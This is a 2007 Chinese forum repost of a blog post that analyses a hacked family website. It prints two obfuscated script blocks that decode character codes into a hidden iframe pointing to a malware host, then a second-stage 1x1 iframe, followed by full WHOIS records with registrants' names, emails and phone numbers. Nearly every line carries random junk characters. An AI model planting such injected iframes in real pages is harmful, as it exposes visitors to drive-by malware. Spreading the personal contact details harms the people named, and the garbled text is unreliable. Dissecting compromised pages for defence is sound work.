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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, %9Ulgs8=  
tk1qgjE(?  
http://www.areway.cn/?p=175 9W'#4  
.lTGFeJqZ4  
3z ~zcQ^\  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: @X1>Wv|[  
          "b -KVZ  
<script>t=’60,105,102,114,97,109,101, o Q{gh$6*  
32,115,114,99,61,104,116,116,112,58,47,47,  0m*0I >  
102,114,101,101,46,117,45,117,117,117,46,99, *pI3"_  
110,47,101,114,114,111,114,46,104,116,109, 2"V?+Hhz  
32,119,105,100,116,104,61,49,48,48,32,104, #c?\(qjWA  
101,105,103,104,116,61,48,62,60,47,105,102, eDTEy;^o  
114,97,109,101,62′; eZP"M 6  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> EkXns%][L  
                                                                                                  AQ+w%>G6  
<script>t=’60,105,102,114,97,109,101,32,115, YW/YeID  
114,99,61,104,116,116,112,58,47,47,102,114, 3f M  
101,101,46,117,45,117,117,117,46,99,110,47, N15{7 ,   
101,114,114,111,114,46,104,116,109,32,119, 1s!hl{n<~  
105,100,116,104,61,49,48,48,32,104,101,105, H6'xXS  
103,104,116,61,48,62,60,47,105,102,114,97, w="I*7c@  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); n"_EDb  
document.write(t);</script> M%9PVePOe  
                                                                                                  k}jH  
<html xmlns=” ~!)_3o  
http://www.w3.org/1999/xhtml :2?i9F0_  
“> /6L\`\g  
<head> 3n6_yK+D  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> *h-nI=  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> W.0dGUi*  
<title>首页 - 爱生活家庭网 VQqEsnkz  
                                                                                                                                                    UN,@K9  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 !7 *X{D v  
转换字符串后的大概内容是(谁点击后果自付): 4P2)fLmc  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… #( X4M{I  
                                                                                                                                  z,DEBRT+  
查询玉米u-uuu.cn的详细信息: 0>E`9|   
Domain Name: u-uuu.cn _CI!7%  
ROID: 20070901s10001s64972306-cn OBb  
Domain Status: ok 9LCV"xgX  
Registrant Organization: 王雷 6aMqU?-  
Registrant Name: 王雷 U_M> Q_r(  
Administrative Email: czlovexs@126.com o*r\&!NIw  
Sponsoring Registrar: 北京万网志成科技有限公司 v?d~H`L  
Name Server:ns.yovole.com JNX7]j\  
Name Server:ns1.yovole.com "v ^Q !  
Registration Date: 2007-09-01 17:54 $i~DUT(  
Expiration Date: 2008-09-01 17:54 Pf@8C{I  
最后PING了一下地址 都没有什么…. k[G?22t  
                                                                                                Cww$ A %}  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. _W?}%;  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> oN)K2&M0  
<script language=”javascript” src=” ,|T   
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script s(wbsRVP8  
> t ;y>q  
这个玉米应该有可能是木马作者的: . 6Bz48*  
foafau.info的详细信息: t^uX9yvx  
Access to INFO WHOIS information is provided to assist persons in 7,Z%rqf\)  
determining the contents of a domain name registration record in the G}f.fR Y  
Afilias registry database. The data in this record is provided by H!oP!rzEo  
Afilias Limited for informational purposes only, and Afilias does not y4M<L. RO  
guarantee its accuracy.  This service is intended only for query-based H> _%ZXL  
access. You agree that you will use this data only for lawful purposes Ng+k{vAj  
and that, under no circumstances will you use this data to: (a) allow, bU_9GGG|  
enable, or otherwise support the transmission by e-mail, telephone, or HjV83S;  
facsimile of mass unsolicited, commercial advertising or solicitations :K2N7?shA  
to entities other than the data recipient’s own existing customers; or Q1s`d?P/`  
(b) enable high volume, automated, electronic processes that send G9}[g)R*  
queries or data to the systems of Registry Operator, a Registrar, or mC J/gWDY  
Afilias except as reasonably necessary to register domain names or E!3W_:Bs  
modify existing registrations. All rights reserved. Afilias reserves - n11L  
the right to modify these terms at any time. By submitting this query, n%Nf\z  
you agree to abide by this policy. a.c2ScXG  
Domain ID:D22418703-LRMS (x?A#o>%  
Domain Name:FOAFAU.INFO \JN<"/  
Created On:20-Nov-2007 16:05:42 UTC ,bJZs-P0  
Last Updated On:20-Nov-2007 16:05:44 UTC e&]XiV'  
Expiration Date:20-Nov-2008 16:05:42 UTC nm\n\j~  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) xNq&_oY7  
Status:CLIENT DELETE PROHIBITED F/@#yQv?  
Status:CLIENT RENEW PROHIBITED N:gS]OI*  
Status:CLIENT TRANSFER PROHIBITED k)y0V:ZY]O  
Status:CLIENT UPDATE PROHIBITED MLa]s* ; d  
Status:TRANSFER PROHIBITED IVEvu3  
Registrant ID:GODA-040110615 `db++Z'C  
Registrant Name:liu hong OL=IUg"  
Registrant Organization: $@Hw DRP  
Registrant Street1:beijing p?8> 9  
Registrant Street2: : <m0 GG  
Registrant Street3: AO/J:`  
Registrant City:beijing i3#]_ p{  
Registrant State/Province: mL3'/3-7:V  
Registrant Postal Code:100000 jd(=? !_  
Registrant Country:CN #T !YFMh;  
Registrant Phone:+86.860108888777 |{ *ce<ip5  
Registrant Phone Ext.: }$g5:k!  
Registrant FAX: <}i\fJX6  
Registrant FAX Ext.: /mqEc9sq,  
Registrant Email:bbbshiji@163.com gEPCXf  
Admin ID:GODA-240110615 c;(}Ih(#  
Admin Name:liu hong 0]i#1Si~@  
Admin Organization: a)`h*P5@  
Admin Street1:beijing .Jou09+  
Admin Street2: =B;rj  
Admin Street3: ?uh7m 2l0D  
Admin City:beijing jsk<N  
Admin State/Province: c;wt9J.f  
Admin Postal Code:100000 gsT%_2>CL  
Admin Country:CN 0=-h9W{zI  
Admin Phone:+86.860108888777 dd98v Vj  
Admin Phone Ext.: QN*'MA"M  
Admin FAX: tJ'U<s  
Admin FAX Ext.: .@1\26<  
Admin Email:bbbshiji@163.com ) c+ ZQq  
Billing ID:GODA-340110615 o7hjx hmC  
Billing Name:liu hong ))306*X\  
Billing Organization: o.y4&bC14;  
Billing Street1:beijing F+c*v#T  
Billing Street2: n;2W=N?y  
Billing Street3: &w LI:x5  
Billing City:beijing s_E iA _  
Billing State/Province: V{c n1Af  
Billing Postal Code:100000 eQzSWn[  
Billing Country:CN JX>_imo  
Billing Phone:+86.860108888777 _gw~A {O  
Billing Phone Ext.: [&)9|EV  
Billing FAX: bYow EzieF  
Billing FAX Ext.: RHE< QG  
Billing Email:bbbshiji@163.com =Z%&jul  
Tech ID:GODA-140110615 Pu}r` E_  
Tech Name:liu hong #!Kg?BR2  
Tech Organization: b"{7f   
Tech Street1:beijing CX\# |Q8q  
Tech Street2: LTFA2X&E=  
Tech Street3: y{"8VT)  
Tech City:beijing TLO-$>h  
Tech State/Province: 8G(wYlxi  
Tech Postal Code:100000 ;~xkT'  
Tech Country:CN okr'=iDg  
Tech Phone:+86.860108888777 o2F6K*u}  
Tech Phone Ext.: coU`2n/  
Tech FAX: &hqGGfVsd  
Tech FAX Ext.: ow]n)Te  
Tech Email:bbbshiji@163.com 8 I,(\<Xv  
Name Server:NS27.DOMAINCONTROL.COM "64pVaT4  
Name Server:NS28.DOMAINCONTROL.COM H:p(C?tk{  
Name Server: e$Md ?Pq  
Name Server: H |75,!<  
Name Server: u9k##a4.E  
Name Server: QeU>%qKT  
Name Server: BA L!6  
Name Server: =C5 [75z#+  
Name Server: h:j-Xd$H+  
Name Server: nD E5A  
Name Server: T>W(Caelq  
Name Server: .>h|e_E  
Name Server: ^VoQGP/cl  
                                                                                                          Ml0d^l}'  
接着下载每个文件里面的代码: BKVvu}V(o  
一步一步看.. wk)gxn1A,  
rP#@*{";  
/C3=-Hp  
&/Tx@j^.C  
= `70]%  
.RoO 6:T6  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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